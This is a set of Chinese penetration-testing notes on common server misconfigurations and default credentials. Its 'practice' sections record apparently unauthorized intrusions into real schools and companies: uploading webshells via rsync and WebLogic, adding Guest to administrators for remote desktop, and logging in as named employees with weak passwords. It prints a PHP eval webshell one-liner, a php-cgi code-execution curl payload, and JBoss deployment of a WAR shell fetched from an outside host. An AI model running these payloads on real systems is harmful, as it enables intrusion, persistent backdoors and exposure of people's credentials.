0 Readme
来源于网络,回馈于网络。
以前简单的记录下学习的笔记,现在轻轻地拿出来与大家分享。
这份paper没有太多个人思路,但却不失某一漏洞的利用方法及遇到的问题(当时有的没有解决,然而后来也没有继续补充)。
仅单纯的按照自己的思路,记录和总结常见的运维相关安全漏洞。难免会有错误与不足(包括不全面)之处,还请大家不吝赐教。
1 ftp匿名访问或弱口令
1.1 ftp匿名访问
Username = anonymous && password = (null )
(1)cmd下,ftp xx.xx.xx.xx
(2)文件夹,ftp://xx.xx.xx.xx
1.2 ftp常见弱口令
(1)从wooyun的漏洞案例中看来,常见的弱口令:
网站域名(例如baidu.com) baidu / baidu
(2)从xx项目中(漏扫扫出),弱口令为:
ftp / ftp
(3)网站使用lampp套装,未修改默认ftp密码:
nobody / lampp
1.3 边学边用
xx.xx.xx.xx 匿名访问 ftp / ftp
均可以登录
使用8uftp登陆:
在文件夹中直接输入地址登陆:
比较两者之间的差异:前者下载文件会受到大小的限制,后者则不会。
xx.xx.xx.xx yy学校
xx.xx.xx.xx zz学校
2 rsync匿名访问
参考: drops.wooyun.org/papers/161
rsync是一个远程数据同步工具,用 “rsync
算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。
下载文件:
./rsync -vzrtopg –progress
--deleteusername@xxx.xxx.xxx.xxx::out
/home/test/getfile
上传文件:
/user/bin/rsync -vzrtopg –progress
/home/test/getfile
2.1 利用方法
rsync
默认端口是873,可使用nmap进行扫描:
nmap –n –open –p 873 x.x.x.x/24
尝试上传、下载文件( kali
中):
rsync 10.210.208.39::
或 rsync –vvvv
rsync://10.210.208.39::
2.2 安全配置
限定访问IP:IP
Tables防火墙或修改配置文件rsync.conf不允许匿名访问,添加用户口令
2.3 活学活用
- xx.xx.xx.xx 连接失败
- 通信成功,却不知道该如何操作
- 可以查看到目录,但是进一步访问需要密码
可以查看到目录,但是禁止进一步访问
xx窝
rsync -v xx.xx.xx.xx::
上传webshell: # rsync -av /root/Desktop/youxiu.aspx
xx.xx.xx.xx::Etest
确认是否成功:# rsync -v xx.xx.xx.xx::Etest
获取wenshell: http://www.xx.cn/youxiu.aspx admin
xx.xx.xx.xx yy公司OA系统
3 DNS域传送漏洞
参考: drops.wooyun.org/papers/64
DNS主备之间数据同步使用的是dns域传送,如果配置不当,就会导致匿名用户获取DNS服务器某一域的所有记录,将整个企业的基础业务以及网络架构对外暴露从而造成严重的信息泄露,甚至导致企业网络被渗透。
3.1 漏洞成因
默认安装BIND
,配置项中没有allow-transfer项,就会出现dns域传送
漏洞
域传送关键配置项:
allow-transfer{ipaddress;};
通过ip限制可进行域传送的服务器
allow-transfer{key transfer;};
通过key限制可以进行域传送的服务器
设置方式有两种:
在option配置域
在zone配置域
优先级为: zone > option
3.2 攻击方式
恶意用户可以通过dns域传送获取被攻击域下所有的子域名。导致一些非公开域名(测试域名、内部域名)泄露。而此类域名的安全性相对较低,更容易遭受攻击者的攻击,比如内部测试机往往缺乏必要的安全设置。
- dos下进行测试
1 | C:\Users\ljn>nslookup |
- kali中进行测试
1 | \# dig @1.1.1.1 12306.cn axfr |
3.3 修复方案
只需在限制相应的zone、optio中添加allow-transfer限制可以进行同步的服务器,限制方式有两种:
- 限制IP
- 使用key认证。
4 weblogic弱口令
参考: drops.wooyun.org/tips/402
4.1 基本信息
Weblogic是美国bea公司出品的一个application
server(基于javaee架构的中间件),BEA
Weblogic用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的java应用服务器。
很多weblogic服务器安装时采用默认密码,攻击者很容易进入weblogic控制台获取相应权限。
默认weblogic管理员账号密码: weblogic / weblogic
默认weblogic开放端口: 7001
默认weblogic访问路径:http://xxxx:7001/console
从Default Passwords |
CIRT.net获取常见weblogic默认密码:
1 | Oracle-WebLogic:weblogic / weblogic |
查看wooyun漏洞案例,积累常见弱口令:
1 | weblogic / weblogic123 |
4.2 利用方式
寻找weblogic服务器方法:
使用 IIS PUT Scaner
扫描80、8080端口,查看HTTP
banner信息,确定为weblogic;直接扫描7001端口或者baidu
inurl: :7001/console (待尝试)
利用弱口令进入管理后台,在控制台部署一个web应用:
Deploy => web application modules => Deploy a new Web Application
Module… =>upload your file(s) => Deploy
在Web应用中包含模块:必须要有一个servlet或JSP
web.xml文件,包含web应用程序的信息
4.3 安全配置
4.4 现学现卖
http://xx.xx.xx.xx:7001/console/login/LoginForm.jsp
weblogic / 12345678
部署war包(war包其实是index.jsp + META-INF + WEB-INF的压缩包):
先制作war包(需安装java环境):
c:\app>cd c:/program files/java/dk1.8.0_31/bin
c:\Program Files\Java\jdk1.8.0_31\bin>jar -cvf app.war c:/app
部署——>安装——>上载文件——>一直点确定即可,得到shell
(自己制作war包失败,重新下载了一个war包,上传)
http://xx.xx.xx.xx:7001/index/a.jsp (安全起见,已删除)
http://xx.xx.xx.xx:7001/index/a.jsp?sort=1&dir=E%3A\\phpstudy\\WWW
翻目录:
http://xx.xx.xx.xx/weimall mall.xx.cn v.xx.cn
http://xx.xx.xx.xx/fenxiao/ 米某网
http://xx.x.xx.xx/fenxiao/api/client/uc.php youxiu
(已修改时间,该shell好用)
net user
net user Guest xiuyou!
net localgroup administrators
net localgroup administrators Guest /add
mstsc打开远程终端,Guest / xiuyou!
激活Guest用户 net user Guest /active:yes
5 struts漏洞
drops.wooyun.org/papers/902
sebug.net/appdir/Apache+Struts
Struts是Apache软件基金会Jakarta项目组的一个开源项目,它采用MVC模式,帮助java开发者利用J2EE开发Web应用,可以用来构件复杂的Web应用。它允许我们分解一个应用程序的商业逻辑、控制逻辑和表现逻辑的代码,使它的重用性和维护性更好。
5.1 S2-016命令执行漏洞
在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts
2.3.15.1以下版本均存在此漏洞。
5.2 S2-017重定向漏洞
Apache Struts
2.0.0没有有效过滤”redirect:”/“redirectAction:”参数前缀内容,存在多个开放重定向漏洞,攻击者通过构建特制的URI并诱使用户点击,利用这些漏洞将这些用户重定向到攻击者控制的站点,执行钓鱼攻击。
5.3 S2-019命令执行漏洞
Struts2 是第二代基于Model-View-Controller
(MVC)模型的java企业级web应用框架。Apache
Struts 2.3.15.2之前版本的“Dynamic Method
Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。
6 web服务器解析漏洞
6.1 IIS 6.0
后缀解析: /xx.asp;.jpg
目录解析: /xx.asp/xx.jpg
(xx.asp目录下可解析任何文件)默认解析: xx.asa xx.cer xx.cdx
(IIS默认配置中,该类文件由asp.dll解析)发散思维: /xx.asa/xx.jpg /xx.cer/xx.jpg /xx.cdx/xx.jpg
6.2 IIS 7.0/IIS 7.5/Nginx<=0.8.37
默认Fast-CGI开启状况下,在文件路径(/xx.jpg)后加上/xx.php,即/xx.jpg/xx.php会被解析为php文件。
xx.jpg为一句话图片马,制作过程如下:
copy yy.jpg/b + zz.txt/a xx.jpg
/b:二进制模式
/a:ASCII模式
yy.jpg :正常图片文件
zz.txt :一句话 <?PHP
fputs(fopen(‘shell.php’,’w’),’<?PHP
eval($_POST\youxiu)?>’);?>
shell.php youxiu
6.3 Nginx<=0.8.37
在Fast-CGI关闭的情况下,Nginx仍然存在解析漏洞:
在文件路劲(xx.jpg)后面加上%00.php ,即
xx.jpg%00.php
会被当做php文件来解析
参照《Nginx空字节可远程执行代码漏洞》
6.4 Apache
- 后缀解析: test.php.x1.x2.x3
(x1,x2,x3为没有在mime.types文件中定义的文件类型)
Apache将从右往左开始判断后缀,若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析。
Apache可解析: php | php3 | phtml
参照《Apache漏洞之后缀名解析漏洞》
防范:在apache配置文件中添加禁止.php文件执行的语句:
<Files ~ ”.(php.|php3.|phtml.)”>
Order Allow,Deny
Deny from all
</Files>
- 若在Apache中,
.htaccess可被应用(即
AllowOverride=All)
.htaccess可被上传
则在.htaccess中写入
(shell.jpg为上传文件,便可得到shell)
<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php
</FilesMatch>
6.5 lighttpd
xx.jpg/xx.php
6.6 windows环境
Windows环境下,文件 xx.jpg[空格]
文件 xx.jpg.
两类文件不允许存在。若这样命名,windows会自动除去空格和点,从而被利用。
7 PHP-CGI远程任意代码执行漏洞
zone.wooyun.org/content/151
www.hackbase.com/tech/2012-05-07/66395.html
该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给后端的php-cgi处理,但在执行过程中部分字符没有得到处理,比如空格、等号(=)、减号(-)等。利用这些字符,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将这段“数据”当做php参数直接执行,目前截获到的攻击主要利用以下PHP参数:
7.1 本地包含执行代码
curl -H “USER-AGENT: <?system(‘id’);die();?>”
http://target.com/test.php?-dauto\_prepend\_file%3d/proc/self/environ+-n
(/proc/self/environ 为本地文件路径)
7.2 远程包含执行代码
(%3d = %3a : %2f / )
(http://www.evail.com/evil.txt为木马文件)
8 FCK编辑器上传漏洞
8.1 漏洞利用
编辑器本身存在漏洞:更多参见《后台编辑器漏洞手册》
编辑器 + web服务器解析漏洞
突破后台建立文件夹漏洞(. 变
_)
9 Apache Server Status对外暴露
Apache 1.3.2及之后的版本自带查看Apache状态的功能模块
server-status,若设置不严(对公网开放),就会造成信息泄露,例如:真实IP、性能信息、客户端IP、旁站信息等。
9.1 利用方式
未做限制访问的URL为:http://www.apache.org/server-status
10 网站备份文件可下载
该问题可能导致源代码泄露,获取web.conf文件,从中得到数据库密码,导致进一步渗透。
10.1 利用方式
常见备份目录为:
http://bbb.xxx.com/sysadmin.tar.gz
直接在URL中访问,然后下载
使用curl工具 例如: curl -I
http://www.fff.com/fff.zip
(curl是利用URL语法在命令行下工作的开原文件传输工具)
11 目录遍历并查看敏感数据
这类漏洞的危害可大可小,一般都是结合具体环境来利用。
11.1 利用方式
根据从wooyun上看到的漏洞,其发现方式主要有:
wvs扫描目录 (inc,
返回312,直接访问看到目录列表)常见泄露路径:
http://www.xxx.com/..%2f..%2f..%2f..%2fetc%2fpasswd
12 SNMP信息泄露
drops.wooyun.org/tips/409
12.1 基本原理
SNMP(简单网络管理协议):该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。目前共有V1、V2、V3三个版本,应用比较广泛的还是前两个版本,同时存在安全问题也较多。
Cacti、Mrtg等监控工具都基于snmp协议。其原理可以简单理解为:
管理主机向被管理的主机或设备发送一个请求(包含community和oid)
(community相当于认证口令)
(oid为代号,例如112代表CPU使用率,113代表内存使用率)
被管理设备收到请求后先查看community是否与自己保持的一致,若一致则返回请求
信息,若不一致则不返回任何信息。
此外,管理主机通过snmp协议除了可以获取被管理主机的信息外,还可以修改其配置
信息(主要是路由交换设备方面)。
12.2 snmp弱口令
snmp服务器的默认密码为public,漏洞发现与扫描:
x-scan扫描 + GFI LANGard利用
使用Snmp Digger进行漏洞利用
snmputil.exe
snmputil.exe get|getnext|walk agent community oid[oid……]
当前进程列表 snmputil.exe walk ip public
.1.3.6.1.2.1.25.4.2.1.2
系统用户列表 snmputil.exe walk ip public
.1.3.6.1.4.1.77.1.2.25.1.1
列 出 域 名 snmputil.exe walk ip public
.1.3.6.1.4.1.77.1.4.1.0
列出安装软件 snmputil.exe walk ip public
.1.3.6.1.2.1.25.6.3.1.2
列出系统信息 snmputil.exe walk ip public .1.3.6.1.2.1.1
- IP Network
Browser(snmp浏览工具)
12.3 snmp获取管理员密码
snmp默认开放端口: 161
- H3C防火墙:通过SNMP只读权限的团体字符串便可以读到管理密码,从而控制设备。(WooYun-2013-21877(http://www.wooyun.org/bugs/wooyun-2013-021877))
扫描工具:
solarwinds中的snmpsweep
升级版:solarwinds工具包中的 ip browser
- 华为quidway三层交换
利用这个OID读出的密码为明文(WooYun-2013-21964(http://www.wooyun.org/bugs/wooyun-2013-021964))
root@bt:~# snmpwalk -c private -v 1 x.x.x.x
1.3.6.1.4.1.2011.5.2.1.10.1
对于存在该漏洞的设备,目前已知可以获取帐号的oid有一下三个(walk):
1.3.6.1.4.1.2011.5.2.1.10.1
1.3.6.1.4.1.2011.10.2.12.1.1.1
1.3.6.1.4.1.25506.2.12.1.1.1
12.4 实战演练
snmpwalk -v 2c -c public xx.xx.xx.xx
13 SVN源码泄露
drops.wooyun.org/tips/352(http://drops.wooyun.org/tips/352)
13.1 SVN介绍
Subversion,简称SVN,是一个开放源代码的版本控制系统。在开源软件的开发过程中,由于开发方式自由和开发人员分散等特性,版本控制问题一直关系到项目成败,没有版本控制开源软件的开发过程就会变得混乱和不可控制。
Subversion使用服务端—客户端的结构(当然服务端与客户端可以都运行在同一台服务器上)。在服务端是存放着所有受控制数据的Subversion仓库,另一端是Subversion的客户端程序,管理着受控数据的一部分在本地的映射(称为“工作副本”)。两端间通过各种仓库存取层(Repository
Access,简称RA)的多条通道(通道中可以通过不同的网络协议比如HTTP、SSH或本地文件等)进行访问的。
svn默认端口是3690
13.2 漏洞原理
程序导出方式:
在现实开发环境中,建议使用导出功能svn
export(而不是svn co)
svn co :【导出结果带 .svn
文件夹的目录树】
svn co http://路径[本地目录全路径]
–username 用户名 –password 密码
svn co svn://路径[本地目录全路径]
–username 用户名 –password 密码
svn export :【导出结果不带 .svn
文件夹的目录树】
svn export [-r版本号]
http://路径[本地目录全路径] –username
用户名 –password 密码
svn export [-r版本号]
svn://路径[本地目录全路径] –username
用户名 –password 密码
漏洞产生原因:
在实际开发环境中,很管理员直接把svn
co导出来的代码放到web目录下,致使 .svn
隐藏文件夹暴露于外网环境中,恶意攻击者可以借助其中包含的用于版本信息追踪的“entries”文件逐步摸清站点结构。
漏洞利用方式:
若 .svn目录没有做访问权限限制,可以通过
.svn 来遍历文件和目录列表。
若
*.php.svn-base被当做php来执行,若暴露php错误信息(真实路径)或空白内容,则该站点存在扩展名问题,找文件上传处上传xx.php.gif文件获取webshell。
若
*.php.svn-base不当做php文件执行,则可下载svn中的所有php源码文件。
直接在浏览器中访问 /.svn/entries
利用seay的svn工具
14 hadhoop应用对外访问
14.1 基础概念
Hadoop是一个由apache基金会所开发的分布式系统基础架构。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。
14.2 漏洞利用
默认开放端口:
hadoop 50070
hbase 50075
hdfs 50090
Hadoop管理界面弱口令,例如:admin 123456
WooYun-2014-58320(http://www.wooyun.org/bugs/wooyun-2014-058320)Hadoop远程命令执行,通过hadoop,hbase,hdfs0.2
RC版本的管理web端能远程执行命令(jstack
pstack
servlet执行命令),通过该节点对集群服务器进行任务分发(该项是基本功能,可以进行批量提权linux主机),从而渗透进hadoop集群。
WooYun-2013-20282(http://www.wooyun.org/bugs/wooyun-2013-020282)
15 Nagios信息泄露
Nagios是一个监视系统运行状态和网络信息的监视系统。Nagios能监视所指定的本地或远程主机及服务,可运行在linux、unix平台上,同时提供一个基于浏览器的WEB界面以方便系统管理人员查看网络状态,各种系统问题以及日志等等。
15.1 漏洞利用
Nagios运维监控API接口暴露
WooYun-2014-86842(http://wooyun.org/bugs/wooyun-2014-086842)
16 RTX即时通信信息泄露
腾讯通RTX(Real Time
eXchange)是腾讯公司推出的企业级即时通信平台。企业员工可以轻松地通过服务器配置的组织架构查找需要进行通信的人员,并采用丰富的沟通方式进行实时沟通。文本消息、文本传输、直接语音会话或者视频的形式满足不同办公环境下的沟通需求。
16.1 漏洞利用
默认开放端口: 8012
- 开放应用端口暴露:
http://xx.xx.xx.xx:8012/userlist.php
直接可以访问到所有用户id、用户名等信息的json
在“查看审核结果处”尝试用户名+弱口令(3102
或123456)登陆,登陆成功后即进入内部网络。
- 得到用户名后,可以读取手机号
用户名: rtx.bxlq.com/userlist.php
手机号:
rtx.bxlq.com/getmobile.cgi?receiver=用户名
16.2 动手实践
http://xx.xx.xx.xx:8012/userlist.php 中国某公司
回到首页,查看审核结果处,进行弱口令尝试:高X军
/ 123456
回到首页,下载并安装客户端进行登陆
一直连接不上,最后用nmap扫描端口,一个个尝试,最终确定为9002
高X军 123456
桂X林 123456
孔X月 123456
公司领导
17 Ganglia系统监控信息泄露
Ganglia是UC
Berkeley发起的一个开源集群监视项目,设计用于测量数以千计的节点。Ganglia的核心包含gmond、gmetad以及一个web前段。主要用来监控系统性能,如cpu、mem、硬盘利用率、I/O负载、网络流量情况等,通过曲线很容易见到每个节点的工作状态,对合理调整、分配系统资源,提高系统整体性能起到重要作用。
工作原理:
Ganglia包括如下几个程序,他们之间通过XDR(xml的压缩格式)或者XML格式传递监控数据,达到监控效果。集群内的节点,通过运行gmond收集发布节点状态信息,然后gmetad周期性的轮询gmond收集到的信息,然后存入rrd数据库,通过web服务器可以对其进行查询展示。
17.1 漏洞利用
可以查看公司内部流量信息、被监控主机的配置信息及运行状态。
开放端口:8649
(不确定,案例中还有开放8000)
直接在浏览器地址栏输入IP:8649 eg:
http://xx.xx.xxx.xx:8649/直接访问域名:ganglia.xx.com
使用nc查看: nc.exe iii.com
8649 |more
18 j2ee应用架构(web服务器搭配不当)
drops.wooyun.org/papers/60
在通常的web应用中会将多个web服务器搭配着使用,以解决其中某台服务器的性能缺陷、负载均衡及完成一些分层结构的安全策略等。较常见的如:Nginx+Tomcat的分层结构
Nginx:高性能的HTTP和反向代理服务器。通过它可以解决一些静态资源(图片、js、css等类型的文件)访问处理。
Tomcat:免费开放源代码的j2ee
Web服务器。其性能缺陷:处理静态资源特别是图片文件时特别吃力。
18.1 漏洞成因
由于处理方式或分层架构设计,如果对静态资源的目录或文件的映射配置不当,就会引发安全问题(特别是在j2ee应用中)。
Tomcat的WEB-INF目录(每个j2ee的web应用部署文件默认包含该目录),在tomcat中该目录禁止访问,包含以下内容:
classes目录:包含该应用核心的java类编译后的class文件及部分配置文件;
lib目录:所有框架、插件和组件的架包;
web.xml目录:重要配置文件。(展开攻击的一把钥匙)
Nginx在解析静态文件时,把web-inf目录映射进去,若没有做nginx相关安全配置或由于nginx自身缺陷影响,将导致通过nginx访问到tomcat的web-inf目录。
通常,只配置nginx把与j2ee及开发架或自定义框架有关的url(例如:.jsp
、.do、.action…等)交给tomcat,剩下的大部分后缀类型的url直接交给nginx处理(包括web-inf中比较重要的.xml、class等类型)。
18.2 漏洞利用
该问题普遍存在于大型站点应用中,由于j2ee应用自身的一些特性,例如:起点配置文件web.xml(/WEB-IINF/web.xml),若先找到它并结合j2ee的xml路径配置特点,就可以找到其他的配置文件(需进行反编译),甚至获得整个应用的所有核心代码及应用架构的相关信息。
18.3 修复方案
最好不要映射非静态文件目录或敏感目录;
修改nginx配置文件,禁止访问WEB-INF文件
:Location ~ ^/WEB-INF/* {deny all;}
19 Jenkins平台未设置登录验证
Jenkins是基于java开发的一种持续集成工具,用于监控持续重复的工作,功能包括:(1)持续的软件版本发布/测试项目;(2)监控外部调用执行的工作。
19.1 漏洞利用
- 未授权访问,可直接执行命令 wooyun-2013-028803
直接在url中访问: eg:
http://xx.xx.xx.xx:8080(http://xx.xx.xx.xx:8080/)
(端口视具体情况而定,案例中有3000、8888)
java.lang.Runtime.getRuntime().exec(‘id’).getText();
行脚本并回显一句话
20 zabbix默认口令
20.1 基础知识
Zabbix除了监控功能强大之处,还可以在忘记root密码的时候重置服务器root密码。(这也是一个超级后门)
此外,system.run模块可以执行任意指令(agent在root权限下,不过一般都开启该权限)
20.2 利用方式
弱口令进入后台: http://ip/zabbix/ admin / zabbix
攻击方法:
尝试system.run执行命令
获取zabbix server shell:
Administrator——>Scripts——>修改Commands(例如改为
uname -a)
Monitoring——>Last data——>点击Zabbix
server,执行调用命令
21 zenoss默认口令
21.1 基本知识
Zenoss
Core是开源企业级IT管理软件-智能监控软件,允许IT管理员依靠单一的WEB控制台来监控网络架构的状态和健康度。Zenoss同时也是开源的网络与系统管理软件。
21.2 漏洞利用
ip:8080 admin / zenoss
ip:8080/zport/dmd/Dashboard
zenoss有一个commands功能,可以执行指令将指令修改为自己需要的即可),然后选中一台机器执行指令。
在wooyun上所见到的案例中,最令人头疼的也最难理解的是:
wooyun-2013-019917 反弹获取shell
wooyun-2013-019917
边界神器py版开启socks代理
(zone.wooyun.org/content/1693)
- wooyun-2013-019917
端口转发(将代理端口转发到公网)
22 Resin任意文件读取
22.1 基本知识
Resin:java应用服务器
CAUCHO公司产品,是一个非常流行的application server
,对server和JSP提供良好的支持,速度非常快直逼APACHE
SERVER。Resin支持负载均衡,可以增加web站点的可靠性。
22.2 漏洞利用
Resin的某个CGI程序实现上存在输入验证漏洞,远程攻击者可能利用此漏洞读取Web主目录下的任意文件。
- 任意文件读取:
配置文件:
http://ip/resin-doc/examples/ico-periodictask/viewfile?file=WEB-INF/web.xml
读取源码:
http://ip/resin-doc/examples/ico-periodictask/viewfile?file=index.xtp
读取password.xml
ip/resin-doc/examples/ioc-periodictask/viewfile?file=WEB-INF/password.xml
- resin文件包含漏洞shell (wooyun-2013-023139)
http://ip/Resin-doc/viewfile/?contextpath=C:\\&servletpath=&file=boot.ini
- resin弱口令
http://ip/resin-admin/status.php admin / admin
- resin版本过低,导致磁盘信息泄露
22.3 实例演练
http://www.xx.cn/c:/ (wooyun-2013-041338)
23 memcache未限制访问IP
23.1 基础知识
Memcached是一个高性能的分布式内存对象缓存系统,用于动态web应用以减轻数据库负载。它通过内存缓存数据和对象来减少读取数据库的次数,从而提高动态、数据库驱动网站的速度。Memcached基于一个存储键/值对的hashmap。其守护进程是用C写的,但是客户端可以用任何语言来编写,并通过memcached协议与守护进程通信。
23.2 漏洞利用
Memcached未限制IP导致cache泄露
服务默认端口:11211
- 使用nc 反弹查看数据:
nc.exe –vv ip 11211
ip: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [ip] 11211 (?) open
stats items
STAT items:4:number 1544729
…….
- memcached空口令访问 可以直接telnet登陆
wooyun-2010-0123604
- root@kali:~# nc ip 11211
23.3 实战演练
root@Aerfa:~# nc -vv xx.xx.xx.xx 11211
root@Aerfa:~# nc -vv yy.yy.yy.yy 11211
24 Jboss配置不当
drops.wooyun.org/papers/178
24.1 基本信息
Jboss基于J2EE的开放源代码的应用服务器(JAVA应用服务器),是一个管理EJB的容器和服务器(Jboss企业中间件JEMS的一部分),其核心服务不包括service/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
Jboss应用服务框架:
- Java管理扩展(JMX):监控管理java应用程序的标准化架构,分为三层:
设备层(instrumentation):定义信息模型。
代理层(Agent):定义各种服务以及通信模型,所有的管理构件都需要向他注册。
分布服务层(distribute):定义能对代理层进行操作的管理接口和构件。
- JMX
Invoker:允许客户端应用程序发送任意协议的JMX请求到服务端
这些请求都是用MBean服务器发送到响应的Mbean服务
- Deployer架构:
JAR(Java
Archives),用于压缩、发布、部署和封装库、组件、程序插件。
WAR(Web
ARchives),JAR文件包含一个Web应用程序的组件。
24.2 漏洞利用
- WAR文件
在Jboss应用服务器上最简单的运行代码方式是部署一个组件,可以通过HTTP安装组件,war文件包需要在web-inf目录下包含一个web.xml文件。War文件可以使用java的SDK
jar命令创建。
- JMX Console
web-console
jmx-console
invoker/JMXInvokerServlet
JMX控制台允许通过web浏览器与Jboss应用服务器直接互动的组件,方便管理Jboss服务器,Mbean的属性与方法可以直接调用。
JMX控制台通常是攻击的第一目标,Mbeans的属性(Server和ServerInfo)展现了Jboss应用服务器与主机系统的信息,包含java虚拟机以及操作系统的类型版本信息。
Mbean的shutdown()方法可以关闭Jboss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
War包的部署,执行shell命令。
- Jboss弱口令
http://IP/admin-console admin / admin
24.3 实例应用
http://yy.yy.yy.yy:8080/web-console/ 未授权访问
先下载java插件,再控制面板中找到java,设置java控制面板的安全属性,添加例外网站。
<1> admin-console getshell
http://yy.yy.yy.yy/admin-console/ 无效
<2> jmx-console getshell
http://yy.yy.yy.yy/jmx-console/ 存在
需要将war包或jsp shell放到服务器上
http://p2j.cn/is.war
jboss.deployment——>void addURL
上传成功,但是文件访问不存在
<3> web-console getshell
http://xx.xx.xx.xx/web-console/ 存在
<41> invoker getshell
inovker接口未配置认证信息
yy.yy.yy.yy/invoker/JMXInvokerServlet
案例http://www.wooyun.org/bugs/wooyun-2010-0121861中使用curl命令:
curl http://www.wooyun.org/bugs/wooyun-2010-0121861
查看系统名称:
C:\Users\Aerfa>java -jar c:/jboss_exploit_fat.jar -i
http://yy.yy.yy.yy/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
Windows 2003
查看系统版本
C:\Users\Aerfa>java -jar c:/jboss_exploit_fat.jar -i
http://yy.yy.yy.yy/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion
远程部署war包(失败)
C:\Users\Aerfa>java -jar c:/jboss_exploit_fat.jar -i
http://yy.yy.yy.yy/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy
http://p2j.cn/is.war
http://yy.yy.yy.yy/is/?cmd.jsp?pwd=023&cmd=ls
访问shell是失败
25 测试机外网可访问
测试机处于外网环境内,存在很多安全问题。比如wooyun案例中的弱口令、java环境管理软件未授权访问、…..
此部分不好做归纳,故略过。
26 padding oracle attack
26.1 基础知识
Padding指数据“填充”
对于加密算法来说,它们是基于等长的“数据块”进行操作的(如对于RC2,DES或TripleDES算法来说这个长度是8字节(http://baike.baidu.com/view/60408.htm),而对于Rijndael算法来说则是16、24或32字节)。但是,我们的输入数据长度是不规则的,因此必然需要进行“填充(http://baike.baidu.com/view/542735.htm)”才能形成完整的“块”。“填充”时比较常用的是PKCS
#5规则,简单地说,便是根据最后一个数据块(http://baike.baidu.com/view/702806.htm)所缺少的长度来选择填充的内容。
26.2 漏洞利用
略过,乌云上有案例。
27 tomcat弱口令
27.1 基础知识
不再提及。
27.2 漏洞利用
弱密码:
http://www.xxxx.com:8080/manager/html tomcat:tomcat
http://www.xxxx.com:8080/manager/html admin:admin
28 phpmyadmin弱口令
略
29 MongoDB配置不当
drops.wooyun.org/papers/850
29.1 基本介绍
略
29.2 未授权访问
默认数据库 admin
用户密码和密码均为空
29.3 实战演练
yy.yy.yy.yy:27017
博苑家_幼儿园教育信息化平台
30 各种敏感后台对外开放
一般“奇葩”端口web访问可见。
31 Django配置不当致信息泄露
Django设置debug = True
,将报错信息返回至浏览页面,从而导致信息泄露
32 Redis未授权访问
Port: 6379
一般不需要认证,可直接访问
32.1 基础知识
Redis是一个NoSQL的数据库,数据通过键/值对存储在内存中。默认配置中,默认开放没有认证的TCP/6379端口。
和memcached类似,支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)和zset(有序集合)。与memcached不同之处在于,可以随时执行“save”命令将当前redis的数据保存到硬盘,此外redis也会根据配置自动存储数据到硬盘上。
其中RDB就像数据库备份文件
AOF则是一个log日志文件
32.2 利用方式
- Kali下:
redis-cli -h xx.com
使用软件: Redis Desktop Manager
利用redis未授权访问漏洞getshell【www.secpulse.com/archives/5357.html】
开启web服务
网站物理路径
www目录可写(root权限)
32.3 实战演练
xx科技有限公司
33 LDAP未授权访问
Port: 389
WooYun-2015-92789(http://www.wooyun.org/bugs/wooyun-2015-092789)
33.1 基础知识
Lightweight Directory Access
Protocol,轻量目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。
33.2 利用方式
使用LDAP Admin进行登陆
33.3 应用实例
zz.zz.zz.zz
34 SMB弱口令
Port: 445
34.1 smb字典
34.2 MS08-067溢出
http://www.2cto.com/Article/201308/237265.html
Windows Server
服务RPC请求缓冲区溢出漏洞,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Microsoft
Windows 2000 、Windows XP 、Windows
Server2003系统上,攻击者可能未经身份即可利用此漏洞运行代码,此漏洞可以形成蠕虫攻击。
Nmap 可以检测目标上是否存在该漏洞:
1 | namp –sS –A –script=smb-check-vulns –PO zz.zz.zz.zz |
…….
35 openssl心脏出血
Port:443
Kali桌面以保存python验证脚本
root@Aerfa:~/Desktop# python openssl.py zz.zz.zz.zz
36 squid代理默认端口
Port: 3128
若没有设置口令,则很可能直接漫游内网。
37 GlassFish web中间件弱口令
Port: 4848
弱口令:admin / adminadmin
38 PHP FastCGI远程利用
Port:9000
zone.wooyun.org/content/1060
使用nmap进行指纹识别: nmap –sV –p 9000 –open zz.zz.zz.zz/24
目前遇到poc执行出现问题:invalid header
version
(windows 7下未安装goland,
kali中已安装仍然出现该问题)
39 elasticsearch代码执行
Port: 9200
40 websphere web中间件弱口令
Port: 9043
弱口令:
1 | admin / admin |
41 zebra路由弱密码
Port: 2601,2604
zebra / zebra
42 rundeck web
Port:4440 wooyun-2015-092026
runDeck是用Java/Grails写的开源工具,帮助用户在数据中心或者云环境中自动化各种操作和流程。通过命令行或web界面,用户可以对任意数量的服务器进行操作,大大降低了对服务器自动化的门槛。
http://IP:4440 admin / admin
43 dns未设置spf导致邮箱欺骗漏洞
nslookup –qt=mx baidu.com
nslookup –qt=txt baidu.com
44 CVS源码泄露
44.1 基础知识
略
44.2 实例应用
zz集团
http://yy.yy.yy.yy/bs3q/CVS/Root
http://yy.yy.yy.yy/cmbs/CVS/Root
http://yy.yy.yy.yy/cmbs/CVS/Entries
45 Tomcat examples directory漏洞
http://yy.yy.yy.yy/examples/servlets/servlet/SessionExample
是否存在sql post注入
、session伪造等安全问题。